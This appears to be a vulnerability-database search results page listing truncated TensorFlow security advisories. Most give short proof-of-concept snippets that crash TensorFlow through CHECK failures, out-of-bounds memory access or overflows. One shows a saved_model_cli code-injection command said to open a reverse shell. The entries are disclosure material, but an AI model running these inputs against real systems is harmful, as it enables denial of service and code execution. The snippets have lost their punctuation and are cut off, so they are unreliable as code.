14815 matches found
PYSEC-2026-3348 TensorFlow vulnerable to `CHECK` fail in `RaggedTensorToVariant`
Impact If RaggedTensorToVariant is given a rtnestedsplits list that contains tensors of ranks other than one, it results in a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf batchedinput = True rtnestedsplits = tf.constant0,32,64, shape=3,...
PYSEC-2026-3304 TensorFlow vulnerable to `CHECK` fail in `QuantizeAndDequantizeV3`
Impact If QuantizeAndDequantizeV3 is given a nonscalar numbits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf signedinput = True rangegiven = False narrowrange = False axis = -1 input = tf.constant-3.5, shape=1,...
PYSEC-2026-3128 TensorFlow segfault TFLite converter on per-channel quantized transposed convolutions
Impact When converting transposed convolutions using per-channel weight quantization the converter segfaults and crashes the Python process. python import tensorflow as tf class QuantConv2DTransposedtf.keras.layers.Layer: def buildself, inputshape: self.kernel = self.addweight"kernel", 3, 3,...
PT-2026-59710
Impact When tf.raw ops.ResizeNearestNeighborGrad is given a large size input, it overflows. import tensorflow as tf align corners = True half pixel centers = False grads = tf.constant1, shape=1,8,16,3, dtype=tf.float16 size = tf.constant1879048192,1879048192, shape=2, dtype=tf.int32 tf.raw...
GHSA-QCQ2-496W-V96P vulnerabilities
Vulnerabilities for packages: kubeflow-pipelines-visualization-server, jupyter-base-notebook...
CVE-2026-49851 vulnerabilities
Vulnerabilities for packages: kubeflow-pipelines-visualization-server, jupyter-base-notebook...
GHSA-QCQ2-496W-V96P vulnerabilities
Vulnerabilities for packages: tensorflow-cpu-jupyter, jupyter-base-notebook, kubeflow-pipelines-visualization-server...
CVE-2026-49851 vulnerabilities
Vulnerabilities for packages: tensorflow-cpu-jupyter, jupyter-base-notebook, kubeflow-pipelines-visualization-server...
PYSEC-2026-3226 TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite
Impact The GatherNd function takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read is triggered. Patches We have patched the issue in GitHub commit...
PYSEC-2026-3356 TensorFlow vulnerable to `CHECK` fail in `tf.sparse.cross`
Impact If tf.sparse.cross receives an input separator that is not a scalar, it gives a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf tf.sparse.crossinputs=,name='a',separator=tf.constant'a', 'b',dtype=tf.string Patches We have patched the issue ...
PYSEC-2026-3144 TensorFlow vulnerable to `CHECK` failure in `SobolSample` via missing validation
Impact The implementation of SobolSampleOp is vulnerable to a denial of service via CHECK-failure assertion failure caused by assuming input0, input1, and input2 to be scalar. python import tensorflow as tf tf.rawops.SobolSampledim=tf.constant1,0, numresults=tf.constant1, skip=tf.constant1 Patche...
PYSEC-2026-3171 TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite
Impact The ScatterNd function takes an input argument that determines the indices of of the output tensor. An input index greater than the output tensor or less than zero will either write content at the wrong index or trigger a crash. Patches We have patched the issue in GitHub commit...
PYSEC-2026-3302 TensorFlow vulnerable to `CHECK` failure in `SobolSample` via missing validation
Impact The implementation of SobolSampleOp is vulnerable to a denial of service via CHECK-failure assertion failure caused by assuming input0, input1, and input2 to be scalar. python import tensorflow as tf tf.rawops.SobolSampledim=tf.constant1,0, numresults=tf.constant1, skip=tf.constant1 Patche...
PYSEC-2026-3359 TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite
Impact The GatherNd function takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read is triggered. Patches We have patched the issue in GitHub commit...
PYSEC-2026-3168 TensorFlow vulnerable to `CHECK` failure in tf.reshape via overflows
Impact The implementation of tf.reshape op in TensorFlow is vulnerable to a denial of service via CHECK-failure assertion failure caused by overflowing the number of elements in a tensor: python import tensorflow as tf tf.reshapetensor=1,shape=tf.constant0 for i in range255, dtype=tf.int64 This i...
PYSEC-2026-3316 TensorFlow vulnerable to `CHECK` failure in tf.reshape via overflows
Impact The implementation of tf.reshape op in TensorFlow is vulnerable to a denial of service via CHECK-failure assertion failure caused by overflowing the number of elements in a tensor: python import tensorflow as tf tf.reshapetensor=1,shape=tf.constant0 for i in range255, dtype=tf.int64 This i...
PYSEC-2026-3220 TensorFlow vulnerable to `CHECK` fail in `tf.sparse.cross`
Impact If tf.sparse.cross receives an input separator that is not a scalar, it gives a CHECK fail that can be used to trigger a denial of service attack. python import tensorflow as tf tf.sparse.crossinputs=,name='a',separator=tf.constant'a', 'b',dtype=tf.string Patches We have patched the issue ...
PYSEC-2026-3289 Code injection in `saved_model_cli` in TensorFlow
Impact TensorFlow's savedmodelcli tool is vulnerable to a code injection: savedmodelcli run --inputexprs 'x=print"malicious code to run"' --dir ./ --tagset serve --signaturedef servingdefault This can be used to open a reverse shell savedmodelcli run --inputexprs 'hello=exec"""\nimport...
PYSEC-2026-3299 Core dump when loading TFLite models with quantization in TensorFlow
Impact Certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling. Thus, since code was calling...
PYSEC-2026-3269 TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`
Impact When Conv2DBackpropInput receives empty outbackprop inputs e.g. 3, 1, 0, 1, the current CPU/GPU kernels CHECK fail one with dnnl, the other with cudnn. This can be used to trigger a denial of service attack. python import tensorflow as tf import numpy as np inputsizes = 3, 1, 1, 2 filter =...